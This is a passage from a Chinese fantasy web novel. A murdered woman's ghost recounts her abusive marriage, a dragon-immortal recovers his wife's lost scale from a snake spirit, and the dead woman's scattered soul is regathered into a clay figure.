大火不仅点着了三十六楼,还疯狂往上窜,烧毁了三十七与三十五层。 我被爸妈护在怀里,楼层里全是浓烟,我爸妈把抢来湿毛巾按在了我的口鼻上。 第一波救援队上来后,要先带走老弱病残孕,我爸妈哭着朝消防员下跪祈求他们把我也带走,消防队见我还年轻,就答应了。 而他们,就留在三十六层等待下一波救援。 可我刚被救援队扶着翻窗出去,就看见,屋里不知什么东西炸了。 好多人身上都被点着了,我爸妈的身上,也着火了…… 我想去找他们,却被救援队拽上了来救援的直升机,我亲眼看着,我爸妈被烈火吞噬。 他们拥在一起,跪在地上,身体烧出了黑烟。 顺利获救后,我得了很严重的心理疾病,精神也不是很稳定。 我爸的下属经理把我送去了疗养院,一个午后,我看见了那个久违的身影,他气喘吁吁地出现在我的病房门口,灰头土脸地冲我笑。 我问他,疗养院大门是需要刷卡进入的,他又是怎么进来的,他说…… 他翻墙进来的,就想看看,我是不是还好,是不是很委屈,是不是哭鼻子了…… 那一瞬,青春期的心头悸动,突然猛烈而炽热。” 阿乞师叔重重一叹,心累摇头: “难怪会对那个烂人死心塌地呢,哪个小姑娘能抵得住人生低谷遇救赎的诱惑呢……” “他在医院照顾了我好几个月,那几个月,是他让我感受到,我原来并非孤身一人,至少我的身边还有他。 我没有什么狼心狗肺抢财产的亲戚,我姥爷和爷爷奶奶都在我还小的时候就过世了。 我爸的下属们更都是讲理耿直的人,我状态好些后,就在赵大山的陪同下,去过户了我爸妈名下所有财产。 一切解决完,赵大山拉着我的手和我说,让我跟他回家。 他说他家人都很好相处,他爸妈给他打过电话,说只要我愿意跟他回槐荫村,他们就把我当亲生女儿对待。 我信了,于是就带着百万嫁妆,嫁来了槐荫村。” 杨泽安双手插裤兜,风衣衣摆在寒风中微微抖动,“结果,赵大山对你的嫁妆起了贪念,他想霸占你的嫁妆。” 万兰茹点点头: “刚开始那两年还好,公婆对我十分关心照顾,的确像拿我当女儿,赵大山也待我极好,关怀备至。 虽然,他们从我嫁进门的第一天就开始盘算如何让我把嫁妆拿出来补贴家用。 但那时候我总想着,赵大山对我好,给了我一个家,我嫁到赵家来,就是赵家的媳妇,赵家的人。 我的钱也是赵家的钱,所以哪怕我知道他们逢事就想要我拿钱,哪怕他们后来直接理直气壮地找我要,什么这个亲戚生病了得包红包,那个亲戚结婚了得包红包,我都没有拒绝过一次。 只是,大抵就因为我的有求必应给了他们底气,让他们觉得我好说话,好忽悠,他们越要越凶,越要数目越大。 我怀朵朵那会子,赵大山姑姑的女儿要在县城上学,但由于在城里没有房产证,没法上她们心仪的学校,我婆婆就想,让我把我爸妈留下的那套房子过户给表妹。 那是我第一次拒绝他们,他们听我不同意,脸色瞬间就变得很难看。 我那一整个孕期,几乎都在因为这事和赵大山赌气,赵大山父母也因此,对我有了意见。 不久,我生了朵朵,他们嫌朵朵是个女孩,就对我更加没好脸了。 朵朵半岁时,我发现赵大山找人托关系把我名下的那套房转给了他表妹。 我拼命追问,才知道,我是在和赵大山领证后,才继承的父母遗产,过户的父母房子。 按规定,我手里的嫁妆,都算和赵大山的夫妻共有财产,所以赵大山才能找人把我名下的房产,过户给别人。 可这些规定,我在与赵大山领证前,根本一无所知……” 柳云衣听不下去的怒骂:“这该死的吸血虫!他就是故意的,他从头到尾都在算计你!” 杨泽安无奈摇头: “现在的女人真是可悲,只一纸结婚证,就能束缚住她的一生…… 有了结婚证,别人就可以光明正大分走你的一切,比拦路抢劫还好使。” 万兰茹哽咽倾诉: “我也是那时才猜到,从他去疗养院看我,到带我回家,也许都是一场精心策划的骗局。 再后来,他越来越不屑在我面前装好丈夫了,他渐渐卸下面具,露出真面孔。 他在家里对我非打即骂,可在外面却装作很爱护我。 他不满我只给他生了个女儿,为了逼我学会顺从低头,他纵容王白雾那个女人在他家里对我颐指气使,言语羞辱。 我,实在受够了这种日子……” 我怜悯地轻轻问她:“你就没有想过,离开这个家吗?” 第一卷 第55章 交出本王夫人的鳞片 万兰茹深呼吸,抹去脸颊上的泪: “想过,怎么没想过……可,我又能去哪呢? 我没有家了,孩子还那么小。 赵大山虽然对我没心没肺,但对朵朵,倒也还行。 我不想朵朵这么小,就生活在一个没有父亲的家庭里。 所以,很多次离开的冲动一涌入脑中,我就自己强压了下去。 只是,让我万万没算到的是,赵大山能过分到那个地步。 两年前的春天,阳历二月十八,我接到了警察的电话,他们说,找到我哥了。 我哥当年被人贩子偷走后就被带去了偏远城市扔进了骗子们一手掌控的乞丐窝,他们打断了我哥的双腿,逼着我哥出去乞讨给他们赚钱。 警察捣毁了那个骗子集团后,根据我哥的形容,找到了我家的信息。 我哥被解救出来了,可他却因为常年饱受那群骗子的折磨,身体虚弱,肺病严重,危在旦夕。 医院那边说,要住院用特效药,那特效药一支就六万。 我想拿钱给我亲哥治病啊,可赵大山不让,我气急之下,只能提出和他离婚。 哪怕要被他分走一半爸妈的遗产,我也能用剩下的那部分钱给我哥应应急。 他依旧不许我拿钱给我哥,也不愿意和我离婚。 那天下午,他说,我带来赵家的钱,只要他不同意,我就一分休想动。 我在家里发疯砸东西,我要和他离婚,他被我惹急了眼,就用墙上挂着的那把镰刀……杀了我。 我死后,我哥哥在医院,不治而亡,死后连收尸的人都没有。 而我的尸身,赵大山害怕被人发现我不是突发急症死的,就连夜扛着我的尸体,将我丢进了黄河里。” 流苏小声追问:“那、朵朵呢?” 万兰茹咬唇苦笑: “朵朵啊,她不小心看见了赵大山杀我的那一幕,被吓出了病。 朵朵夜夜都和他吵着要妈妈,把他吵烦了,他也怕朵朵把真相说出去,就……害死了朵朵。 我更没想到,他会丧心病狂到在朵朵死后,把朵朵尸身卖给城里有钱老板做童养媳。 那些术士用邪术害得朵朵肢体不全,朵朵被他们折磨得魂魄虚弱到随时都可能散去…… 我听说,像我女儿这样,身上沾染邪术,肢体不全的魂魄,下去了,来世也只能做只小猫小狗。 而且我怕朵朵身子太弱,撑不到鬼门关,就会散去。 所以,我才求云响,救救我女儿。 只要能让我女儿,健健康康的重活一世,我是死是活,都无所谓。” 吴小红抱着娃娃黯然落泪:“是啊,孩子是无辜的。” “那你呢。”阿乞师叔问柳云响:“你为什么愿意帮万兰茹?” 柳云响低低回答: “兰茹,是我的朋友。 五年前我在水下无聊,上了岸,遇见了兰茹。 兰茹不怕我,还会摘花送我,和我聊天。 兰茹被赵大山抛尸黄河那天,她的尸体正好落在了我身边。 我没办法救她,只能先吞噬她的灵魂,让她免遭黄河阴气束缚。 兰茹死后没多久,朵朵也没了,兰茹求我帮助她报仇,我答应了。 是我教她,利用我的妖身、她的阴魂、赵大山的精元孕育朵朵魂魄,重结阳胎。 是我主动把身体使用权交给她的,赵大山该死,朵朵和兰茹都是无辜的。” “可你知不知道,强行插手世间因果,破坏阴阳秩序,不但上面饶不了你,下面也会治你的罪。”杨泽安担忧道。 柳云响虚弱笑出声,柳眉一皱,忿忿不平道: “我是妖啊!你们这些道士啊,神仙啊怕天谴,我不怕! 反正我们妖生来就被打上了坏东西的标签,世道不公,你们这些正道人士碍于所谓的世间秩序、命中注定屁都不敢放,那就由我们这些邪物来逆这个天,平一平这份不公! 凭什么兰茹那么温柔善良的女子却要被渣男欺负至死,凭什么朵朵这么可爱善良的小女孩要落得个来世为畜、甚至可能会魂飞魄散的下场! 凭什么赵大山那么坏的人能花着兰茹姐的钱潇洒过完下半辈子,凭什么善没善报恶没恶报! 今日勿说是兰茹遭难,就算是个素昧平生的女人被这么欺负,让我遇见,我也会倾尽所能的帮她! 对,我是想成仙,我幼时的梦想就是成仙,可若成仙也要学会视众生之苦而不见,那我宁愿做个自由潇洒的妖! 若因我为一个苦命女子讨回公道,报仇雪恨,上面就剥夺我成仙资格,那我无话可说,这仙,我也没必要成了!” “这一切本来就是赵大山的错!” 吴小红红着眼眶反驳杨泽安: “你不应该在这里怪蛇妖姐姐冲动,你应该谴责的是罪魁祸首赵大山! 兰茹姐是个很好的人,朵朵也是个很善良聪明的孩子,赵大山加注在她们身上的痛苦,难道要等虚无缥缈的来世再报吗! 来世报的仇,解得了今生心中的怨吗!” 杨泽安与阿乞师叔相视一眼,无话可说。 吴小红仗义地往柳云响身前一挡:“这事我也参与了,我是同伙,你们要惩罚蛇妖姐姐,就连我一并收拾了!” 流苏小声帮她们说话:“泽安哥,你要是也像王瘸子那样不分青红皂白就对云响姐姐喊打喊杀,我会瞧不起你的……” 杨泽安无奈解释:“我什么时候说过要对柳云响打打杀杀了?我只是,怕她这样会被上头算账。” 话说完,站在吴小红身边的万兰茹魂魄突然开始化作点点荧光溃散去…… “兰茹!”我心下一紧,伸手抓去,却抓了个空,银色流光从指缝中轻盈飞走。 “兰茹姐!”吴小红抱着孩子赶紧扑上前,泪如雨下的哭喊道:“再看看孩子,再看孩子一眼……” 柳云响挣扎着要从柳云衣怀中起来:“兰茹……” 万兰茹含泪看了眼自己刚生下的宝宝,扭头,深深看了我一眼,泪眼婆娑地抿唇扬起一抹笑:“谢谢——” 下一秒,透明魂魄化作万千流萤,席卷向远方。 “她、她……”我心下五味杂陈地望着她消失的方向哽了喉音。 帝曦将我揽回怀里,道:“这就是,魂飞魄散。” 阿乞师叔摇头长叹: “哎,她为了孕育养胎,耗尽阴魂之力,才让母之精魂与父之精元融合,再为女儿重塑肉身…… 她的执念,从不是找赵大山报仇,而是,相护住自己的女儿…… 事成,魂飞魄散,已是她最好的结局。她散得太快,我都没机会救她。” 我失落靠回帝曦胸膛上,心酸道:“她不该是这个结局的……” 帝曦默了默,抬手,轻拍我肩膀:“世间之事皆有定数,破坏定数,便要付出代价。魂飞魄散,就是她需要付的代价。” 我低喃: “我觉得云响说得对,这个世界,不该坏人遗臭万年,好人魂飞魄散。 她没做错什么,她只是让赵大山遭了报应,只是想救回自己的女儿。 她没有犯下任何十恶不赦的重罪,魂飞魄散这个代价,太重了点。” 帝曦听罢,倏然冷嗤,语气压抑,有点像在讥讽:“规则就是规则,规则,从不会讲该不该。” 抱着蛇女的柳云衣害怕帝曦找蛇女问罪,忙着急为蛇女说情: “大王,云响她只是太重情义,才违背龙宫铁律私自上岸且插手凡间之事,闹出这么大的动静…… 大王,还请看在云响本性善良,初心不坏的份上,饶过云响这一次吧! 属下保证,云响她以后再也不敢如此胆大妄为自作主张了…… 云响她如今已经得了教训,妖身本就为帮万兰茹孕育阳胎遭受重创,又被江墨川那个王八蛋捅了一剑…… 大王,你若真要罚,就罚属下吧!” 帝曦清冷目光再落回柳云响身上,沉默少时,威严命令:“东西呢,交出来。” 靠在柳云衣怀里的蛇女愣住,迷茫啊了声:“什、什么?” 帝曦眯了眯透着危险气息的冷冽凤目:“你说呢?” 一句反问差点把柳云响问哭了,柳云响委屈瘪嘴,可怜兮兮地小声咕哝: “大王你不说我怎么知道您要的是什么……” 缓了缓,陡然想起来: “哦!前些天那条黑蛟也总问我东西呢,把东西藏哪了。 大王……你们到底想要我身上什么东西啊?” 江墨川也问她要东西…… 难道,帝曦要的是柳云响的内丹? 他要蛇妖内丹干什么? 提升修为么…… 可,我的血不比蛇妖内丹管用?! 帝曦冷漠开口:“本王夫人的鳞片。” 第一卷 第56章 本王没有要孩子的打算 我的、鳞片…… 在柳云响身上?! 我意外看向柳云响。 柳云响亦诧异抽了下嘴角:“水、王后娘娘的鳞片怎么会在我身上?” 杨泽安不可思议皱眉:“小萦的龙鳞,在柳云响手上……” “小萦的九片龙鳞不是被风大年两口子卖到八方各地去了么!怎会出现在云响这。” 柳云衣狐疑找帝曦确认:“大王,您是不是看错了?” 帝曦瞟了眼柳云响,挑眉提示:“你脖子上挂着的那条项链,是从何而来?” “项链?”柳云响恍然大悟,忙从衣领里掏出一条珍珠串成,坠着一片能折射五色光华的粉鳞的项链:“大王你说的是这个吗?” 我一眼就认出珍珠项链下坠着的那片鳞就是我的龙鳞,打起精神,一把抓住帝曦胳膊:“那、那是我的!” 帝曦施法将珍珠粉鳞项链从柳云响手里收过来,伸掌接住项链,尔后把东西还给我: “本王也好奇,本王夫人的鳞,怎被做成项链,挂在了你的脖子上。” 蛇女顿了顿,过几秒,回过神忙答道: “嗷,这是我去年在黄河里捡的! 我记得当时,有个年轻女孩在黄河东面的大桥上想不开,跳河了。 但她家里有个年轻男人会水,应该是她哥哥,她跳河后,那个男人也跟着跳了下来,冒着生命危险又把女孩给拖拽了上去。 这片鳞就是从那个女孩脖子上掉落下来的,我当时恰好在河底游荡,捡到这片鳞后并没有感应到这片鳞有什么特殊之处。 但它好看,薄薄的一片,流光溢彩,像春日桃花一样美丽,而且我将它带在身上会觉得神魂舒畅,所以我就将这片鳞占为己有了,还给它配了条品质顶好的海珍珠链子…… 我是真不晓得这片鳞是娘娘的,现在想来,那条黑蛟找我要的东西,想必也是它吧……” 我捧着粉鳞珍珠项链,忽然就明白江墨川那个白眼狼为什么再三叮嘱我不要管赵大山家的事了。 敢情是想背着我抢走我的龙鳞给风柔治病! 暗暗攥紧手里的鳞片,我靠在帝曦怀里,嘴上没说话,心里却已经把江墨川那王八蛋给骂了一万遍。 “难怪,隐月大人那天说小萦很快就能找到第一片龙鳞,难怪死蛟偏追着云响不放。 幸好大王早就发现龙鳞在云响身上了,龙鳞要是落入死蛟手里,怕是会被死蛟直接吸收了…… 那小萦就永远也补不全自己的龙鳞了!” 柳云衣愤愤道。 蛇女胆怯的缩了缩脑袋, “大王明鉴,我当真只是见它好看才将它带在身边的,绝对没有想吸收它,损毁它的念头!” “此鳞被你保管的不错,的确没有被法力强行吸收的痕迹。” 帝曦语气平和的安排:“先回去,让柳云衣给你疗伤。阿乞,送吴小红回家。” 阿乞师叔一口答应,只是看见吴小红怀里的孩子后,又担忧问帝曦:“龙哥,这个孩子……还要送回赵家吗?” 帝曦淡淡道:“赵大山的女儿,自然要送回赵家,不然你养?” 阿乞师叔被吓一哆嗦,果断拒绝:“啊?不要!我还小呢,连媳妇都没有,怎么养闺女。” 杨泽安不放心的说出顾虑: “赵大山此人坏透了,他父母也不是什么明理的长辈。 况且,他家重男轻女思想那么严重,这孩子又是万兰茹生的。 就算赵大山活不了几天,对孩子构不成威胁,可孩子以后还是要跟赵大山爹妈一起生活的…… 哪怕赵大山爹妈是孩子亲爷爷奶奶,也保证不了他们会善待朵朵。 到时候,村里只会又多出一个像流苏这样的,可怜女孩……” 吴小红下意识护住怀中婴儿,弱弱道:“还有我呢,我会照顾好宝宝的!” 杨泽安面色凝重的认真问道: “你难不成,还要留在赵家被那群没心肝的人当牛做马,肆意欺压吗? 孩子是赵家的血脉,你觉得他们会允许你带着孩子走吗? 更何况,你还年轻,你难道要因为遇见赵大山这一个烂人就一辈子不再考虑未来、自由,彻底放弃自我吗? 更现实点说,万一以后,你想重组家庭,你难不成要带着朵朵一起嫁过去么? 这里是乡下,是农村,是黄河岸边思想最落后封建的地方。 你不欠赵家任何人的,你不需要靠牺牲自我来寻求心安。” “我……”吴小红欲言又止,出乎意料的盯着杨泽安低喃:“你竟然、赞同我离婚。” 阿乞师叔拍拍手: “这都什么时代了,早就婚姻自由人权至上了。 你们槐荫村怎么比我老家大山深处的阴苗族人思想还封建迂腐。 我老家族里的大祭司前一段时间刚颁布新的族规,族规上明文写了,凡族中女子,年过二十皆可自由婚配,父母不得包办婚姻。 夫妻关系不睦超过两年,便可申请由族中族老调解,和平离缘。 若男方因家暴而被女方提离婚,男方不但得乖乖跟女方去办离婚证,分女方一半财产,还得另赔付女方一笔精神损失费。 若是男方不思悔改离婚后再有蓄意报复前妻的念头,一旦被发现,长老会的人会直接闯进他家揍死他的。” “真好啊,可,我们这种地方,人们心中的天平是永远不会倾向于女方的。 就好像,女人生来就有错,做什么都是错。 被家暴,是女人没有伺候好男人,活该。 被欺负,想离婚,还要被人指着脊梁骨骂不安分,浪荡。” 吴小红满眼心疼的望着怀里刚刚睡熟的小宝宝: “我想和赵家断绝关系,但我,不敢走,我要是走了,这孩子以后不会有好日子过……” 她还是担心朵朵的未来。 我晃了晃帝曦胳膊,突发奇想:“要不然咱俩……” ‘收养朵朵’这四个字还没说出口,就被帝曦一记无情眼神扫过来,凝声拒绝: “本王还没有要孩子的打算,本王照顾你已经很费心了,再来个女儿,你想累死本王?” 我立马老实闭嘴,委屈咕哝:“哦……” 无情打消了我不靠谱的念头后,帝曦冷着俊脸发话: “既然吴小红想养这个孩子,那以后,她便是朵朵的母亲。阿乞,先送她们回去。” “好。” 阿乞师叔应下,杨泽安还想说些什么,却被阿乞师叔拽了把袖子低声提醒道: “听龙哥的,他自有安排。走吧,咱们一起送她们母女回家。” 杨泽安犹豫了片刻,跟上阿乞一道送一瘸一拐的吴小红离开乱葬岗。 帝曦瞥了眼靠在柳云衣怀里还无法动身的蛇女,沉沉下令:“走吧,你们也跟本王回去。” 柳云衣点点脑袋,将鲜血浸透黑纱裙的柳云响从地上打横抱起来。 不知道是不是龙鳞离我太近,我的身体与龙鳞产生了感应的缘故。 眼下我也有点腿脚发软,浑身疲倦乏力,走两步就要往地上倒。 帝曦看不下去的揽住我腰,一挥广袖,法力破开空间。 下一瞬,我们就从空间裂隙中穿过,顺利回到了灯火通明的自己家。 在院子里焦急等待的沈沐风胡玉衡他们见我们回来,忙快步迎上。 “都晚上九点了,你们终于回来了!” “刚才供桌上的香火突然绽出五色神光,是小萦的鳞片找回来了么!” “老柳你怀里抱着的……是谁?” “苏苏,你身上怎么有血?受伤了?!” 胡玉衡拉过流苏的胳膊,紧张检查流苏的身体,流苏软糯糯的傻笑: “玉衡哥哥我没事,这是云响姐姐的血。” 风震野明白过来:“哦~原来这位蛇妹妹就是柳云响啊,怪不得老柳抱在怀里就舍不得撒手!” 帝曦放开我的腰身,拂袖吩咐沈沐风:“去,把王瘸子家,烧了!” 沈沐风眼皮一跳激动道: “啊耶!大王你怎么总让我干放火的事? 上次让我烧风柔家,这次又让我烧王瘸子家,王瘸子怎么惹你了?” 帝曦不耐烦瞥他,刚要开口呛他,被我很默契的按住手背。 王瘸子唯一的错,就是跟着江墨川一起害人! “沐风哥哥……” 我努力挤出两滴眼泪,换上一副受了委屈的可怜表情,捂住脸颊厚颜无耻的信口胡说: “王瘸子他打我,还说要把我剁成肉馅包饺子…… 呜呜沐风哥哥,我到底做错了什么,江墨川就那么讨厌我吗。 竟然伙同外人一起欺负我,怂恿王瘸子杀我灭口啊哇。 要不是龙仙大人及时出现,我就被王瘸子打成残废了——” 上一秒还没良心不想干活的沈沐风一听这话,俊美的年轻面容顿时就黑了。 眼底冒寒光的咬牙恶狠狠骂道: “该死的王瘸子,该死的江墨川!烧!我连王瘸子江墨川这俩鳖孙一起烧!” 话落,风流倜傥一袭娘里娘气粉色飘逸衣袍的沈沐风捏着玉骨桃花扇立马化成一股旋风飞沙走石卷落叶的直奔王瘸子家方向而去—— 这架势,说他是去杀人灭口的我都信。 柳云衣柳云响两口子瞠目结舌惊得半晌没说出话。 风震野犹犹豫豫: “要不然,我也去帮一把? 那个,小萦,王瘸子真……伤到你了? 我怎么觉得哪里怪怪的呢。” 我擦去脸上硬憋出来的那两滴泪,心累叹气:“哎——我就知道沈沐风最吃梨花带雨这一套。” 昂头问同样用错愕目光看我的帝曦: “咋样,我刚才学风柔像不像? 我突然就悟了,怪不得他们之前那么喜欢风柔呢,风柔掉两滴眼泪,他们就百依百顺。” 帝曦臭着一张俊脸嫌弃看我,咬牙忍无可忍,皱眉沉声吓唬我: “再恶心本王,本王将你丢进黄河里!” 我哽住,不服气的哦了声,想了想,胆大逗他: “你是不是对黄河有什么执念,为什么每次都要把我丢进黄河里?” 他:“……” 第57章 你想让我做你的人? 我故意越说越离谱: “黄河可是你老家……哦,你难不成是想让我给你陪葬? 你莫非是想和我生同衾死同穴,你该不会是想告诉我,我活着是你的人死了是你的鬼…… 这样想,龙仙大人你还怪浪漫的呢!” 我本以为我这么逗他他会反手照着我脑袋给我一巴掌…… 可他竟奇怪的红了容颜,愣愣垂眸看了我一阵,浅浅重复: “生同衾死同穴,似乎……也不错。” 我僵住,看着他走神的模样,伸手在他眼前晃了晃:“帝曦,你说什么?” 他陡地回魂,剑眉一拧,没好气又吓我: “这么想做本王的陪葬品,本王现在就可以送你下去。 再吵,本王会不会与你死同穴不好说,但本王,定能让你先死一步!” 这次换我说不出话了。 啧,龙仙大人变脸真是比苏苏翻书都快! 院子里的其他仙家们面面相觑,对我与龙仙大人的这种相处模式大为震惊。 黄仙颜如玉穿着一身金黄缀宝石流苏绣山水纹的古代贵气广袖衣袍,用手撩开胸前发尾泛黄打卷的及腰青丝。 潇洒将头发甩至肩后,双臂环胸探身惊愕问流苏:“苏苏啊,你姐姐姐夫平时都是这么相处的吗?” 流苏默默躲到胡玉衡身后:“反正最近,都是这么相处的。姐夫唬二姐,二姐呛姐夫。” 龙仙大人潇洒一挥袖袍,化作紫光飞回牌位内。 我见他跑了,有点无聊,转身再看院子里这群仙家…… 就着门外的明亮电灯光定睛一瞧才发现,除了跟我们外出的柳云衣,剩下的仙家们竟然都统一换上了新衣裳。 黄仙颜如玉穿的是件土系金黄衣袍,窄腰被金线绣成的山水纹腰封勒得手可盈握…… 腰下坠着青玉红玛瑙玉佩,袍摆金线绣成卷草纹样。 腰封下一枝赤金色山茱萸花斜贯整件衣裳,袖身与袍上薄纱衣片皆有零落山茱萸花点缀。 长眉飞斜,眉心点着两枚朱砂妖印。 长发垂于肩后,额角一绺金黄挑染,墨发发尾赤黄卷出好几个小波浪…… 胡玉衡则还是以往喜好的白衣,只是今日这身白衣……略显清冷贵气。 锦袍玉腰带,袖摆与袍身皆绣着精致的银线狐尾。 衣摆最下端,一盏玉白大莲花以葳蕤云纹往上串出两朵半开的小玉莲,及一只花瓣拢起,苞尖浅红的菡萏。 蓬松雪白,栩栩如生的狐尾尖尖轻扫花中莲台,带落一片温柔花瓣…… 肩上银链坠白玉流苏,墨发未束,青丝如瀑,鬓角以银狐尾玉莲花缀银链流苏为饰。 本就俊美的面容上,额角用白墨绘出狐尾纹…… 这么一打扮,谁还能辨得出他到底是仙是妖啊! 虎仙风震野的衣袍则以玄色为底色,衣上以山河日月北斗七星纹为主纹样。 墨发被金色水纹冠高束,剑眉星目,天生自带一股可威压千万人的帝王之气。 面容倒未显现妖印,只是,长得有点像古画里能文能武的一代帝王。 尤其是站那不动,就这么面无表情盯着我的样子…… 更像随时能诛我九族的狗皇帝了! 鱼仙的衣服则更夸张,衣袍飘逸,袖摆拂动如水,衣襟与肩头、腰带出皆以五彩鱼鳞为饰。 动一下,能晃花我的眼。 蟒仙虽然是身墨绿色的衣袍,但袍子上绣了贵气逼人的龙纹! 白仙走的是浅蓝系温润风,白发只用一根雪色飘带作配,衣上昙花清雅仙气。 如果我没有记错—— 今天沈沐风也换了新衣服,是件骚包的粉色绣桃花,衣襟松垮能露出半个雪白胸膛的衣裳…… 打扮如此精致的他们,与柳云衣那个倒霉蛋站在一起…… 显得柳云衣好穷! 而他们虽说衣服颜色各穿各的,但却有一个十分明显的共同点—— 那就是,穿金戴银,超级贵气! 每个家伙身上都有几块金银玉石…… “你们……暴富了?”我对他们的经济情况产生怀疑。 这衣裳……总不至于是他们用自己原皮化出来的吧? 他们什么时候审美这样好了! 而且,他们纵使画风有点不太统一,有的像帝王,有的像大财主,有的像仙,有的像娘炮…… 但金银肩链与腰链的编织佩戴方式,却都是一样的。 穿起来,像什么团伙的制服。 不过,他们的这副新形象,确实比以前养眼多了。 以前的他们,一看就是从山沟沟里跑出来的仙家! 颜如玉见我盯着他们的打扮两眼发直,淡定解释: “哦你说我们今天这身新衣服啊!是大王赏的。” 我呛住:“啊?” 原来是帝曦啊,那就不奇怪了。 咱们家能有这审美的也就只剩他了。 余惊云得意显摆自己那身晃眼的鱼鳞仙袍,开心说: “大王嫌我们之前穿的太土了,就让我们统一换他赏的新袍子。 这袍子可是鲛绡所制,不但冬暖夏凉,自带清洁功能,还能为我们养护魂魄! 大王给我们八个每人都准备了一件,呜,我们也是好起来了,柳云衣没骗我们,跟着大王混果然有肉吃!” 我点点头:“那你们以后得听他话,他对你们好,你们可不要辜负了他一片真心。” 还得是龙仙大人啊,来了咱家连这八个家伙都一并帮忙养了,龙仙大人真是绝世大好龙! 流苏和我一样没见过世面,揪着胡玉衡腰上的冰种狐尾玉佩爱不释手。 胡玉衡见她实在喜欢,便将玉佩取下送给流苏把玩。 用法力帮流苏散去袖子上的血渍,胡玉衡黯下幽蓝瞳色,低声问我: “小萦,从一个头领的角度来看,这并非一个好趋势。 你就不怕,龙王成为第二个江墨川吗? 从前,江墨川也是这样收买人心,笼络了我们。” 我摇头:“他和江墨川不一样。” 胡玉衡目光深深的看我,欲言又止。 我摊手据理力争:“江墨川舍得给你们穿这么好的仙物吗?舍得砸真金白银给你们打扮吗?” 胡玉衡一怔:“……” 我回头看了眼堂屋内的香檀木牌位,浅浅道: “以后不要拿他和江墨川做比较,他不可能成为第二个江墨川,他不是那种人。 他是眼前人,总拿他和旧人做对比,一次两次他不计较,次数多了,会伤他的心。 他就是他,包括你们每位仙家,都是独一无二,世间仅有。 天底下不可能出现两个一模一样的人,再说,谁对我好我能不知道么?” 胡玉衡听完深吸一口气,没再说话。 我逗他们:“想知道龙仙大人和江墨川的区别么?” 仙家们瞪大眼,好奇看我。 我自信满满的回身冲堂屋喊:“哎呀,帝曦,我胳膊断了!” 堂屋里的龙仙大人沉默片刻,压低嗓音无奈道:“滚进来!本王看看!” 我淡定和院子里的仙家们说: “看吧,如果是江墨川,他会假装听不见,然后再责备我为什么自己不小心。 该说的话他会说,但该做的事他从不做。 我们家龙仙大人属于实干派,虽说回应人的态度不太好吧,但至少事事有着落。” 仙家们的表情一时变得有点耐人寻味…… 风震野惶恐干笑:“小萦你最好、真的胳膊断了……” 我懂,不然打扰帝曦修行,帝曦会把我大卸八块的。 哎,我都想好了,大不了等会再和他说胡玉衡已经给我接上了。 这段时间我也大致摸清了他的脾气,他对我从来都是雷声大雨点小。 发火是真的,不会伤我也是真的。 我终究还是有恃无恐的进去镇定迎接暴风雨了。 但让我意外的是,他并没有纠结我胳膊断没断,而是施法检查了我的鳞片…… 然后得出了一个让人头疼的结论: 鳞片被妖气与强烈的怨气浸染太久,暂时还不能回到我的身体。 不然非但不能让我身体好起来,还会伤害我的神魂。 且龙鳞已经离体,就算现在回到我手里,想要龙鳞再长回肉里,恢复原状,也得几年时间。 当务之急,是要设法净化我的鳞片。 不过,还是有好消息的,龙鳞在我身边能与我产生感应,龙鳞的力量也能反哺滋养我的身子。 先前龙鳞的感应之力会让我鳞伤发作,是因为龙鳞在拼命提醒我它就在附近。 而等它回到我手里沾染了我的气息,就不会再让我疼了。 它剥离的那处地方,每月也不会发作了。 九片龙鳞回来一片,还有八片…… 很快,我就能摆脱每月十五历死劫的悲惨命运了。 次日晚间,杨泽安与阿乞师叔再过来,竟带来了一个出乎我们意料的消息。 赵大山精元耗尽,只剩两天阳寿。 赵三叔被吓中风,赵家婶子被我一铁锹拍晕后,醒来就失声了。 更大快人心的是,下午镇上派出所接到群众举报,在黄河边发现了一具被人割喉而亡的红衣女尸,女尸身份疑似赵大山前妻。 三点多那会子,镇上警察就进了槐荫村,找到了村长,去赵大山家把吓丢魂的赵大山带上手铐推上了警车。 而万兰茹名下的所有遗产都将归赵大山现任妻子吴小红所有。 村长提起遗产的事时,吴小红却当着村长面写了封保证书,白字黑字注明那些遗产会用在抚养朵朵之上。 剩下的,则会在朵朵成年后,全部移交给朵朵。 万兰茹心善,吴小红也是性情中人,有了这笔遗产,小红和朵朵的余生就有了保障,再也不用操心生存问题了。 阿乞师叔讲完赵家的事,又从腰间取下八卦葫芦,打开葫芦,自里面放出一只银色灵蝶…… “这蝴蝶……”我好奇冲蝴蝶伸手。 蝴蝶停留在我的指尖。 阿乞师叔聚精会神的盯着蝴蝶,“二姐,我在赌。” 我听不太懂,不解问他:“赌什么?” 阿乞师叔屏气凝神,连说话都变的小心翼翼:“在赌……您现在有没有那个能力。” 哪个能力? 我还没弄明白他到底在说什么,就见指间灵蝶倏然化作一团流萤轰然散去。 紧接着,又成群结队往我口袋里飞…… 杨泽安看呆了:“你口袋里装什么了?” 我把东西掏出来,正是我昨天在菜园子里捏的泥人。 而那点点荧光便依附在泥人身上,朦胧光辉渐渐没入泥人体内…… 杨泽安瞠目结舌的望了阵,问阿乞:“这什么情况?” 阿乞师叔两眼放光的满意道: “这是万兰茹的残魂,有了这个小泥人,就能把她已经消散的魂魄重新聚集回来。” 杨泽安惊讶大叫:“万兰茹、不是魂飞魄散了吗!” 阿乞师叔等泥人上的浅光全部没进泥人身躯后,才伸手把泥人拿过去: “小看二姐了吧,这可是大地之……额,的力量!” 目光撞到我身后突然出现的身影,阿乞手一抖,险些把聚拢万兰茹魂魄的泥人摔出去。 一身天光余晖,紫衣沉沉的帝曦威仪凝声问:“大地什么?” 第一卷 第58章 风萦对本王还有用 阿乞师叔顿了下,捧着泥人虚笑道: “啊我是说,这可是大地府的力量!我在下面有人! 下面得知万兰茹的情况后决定对万兰茹网开一面,恰好二姐捏的泥人有聚阴之力,所以能让本该魂飞魄散的亡灵重聚三魂…… 龙哥你晓得的,我那位帝君哥在地府就有挂职。 而且我师承五阳观三代弟子阴苗族紫月长老,我们五阳观常年和下面,有保持联系的!” 杨泽安恍悟过来: “哦原来是这样,怪不得昨天我明明都看见万兰茹魂魄变成萤火虫散了,今天小萦随手捏的泥人竟能让万兰茹魂魄重聚。 我还以为……小萦有什么神功呢!” 帝曦清冷垂眼,看了阿乞师叔手里的小泥人一阵,“原来是下面的意思。我那位故人他现下,可还好?” 阿乞师叔把小泥人放回腰下布袋里, “好,很好!只是去年那会子族里出了点事,帝君哥差点就、但幸好,他媳妇硬将他从鬼门关拽回来了。 对了龙哥,告诉你一个好消息,帝君哥要结婚了,婚期就定在三月十三,不过他和我鸾镜姐都比较低调,暂不在族里办酒席。 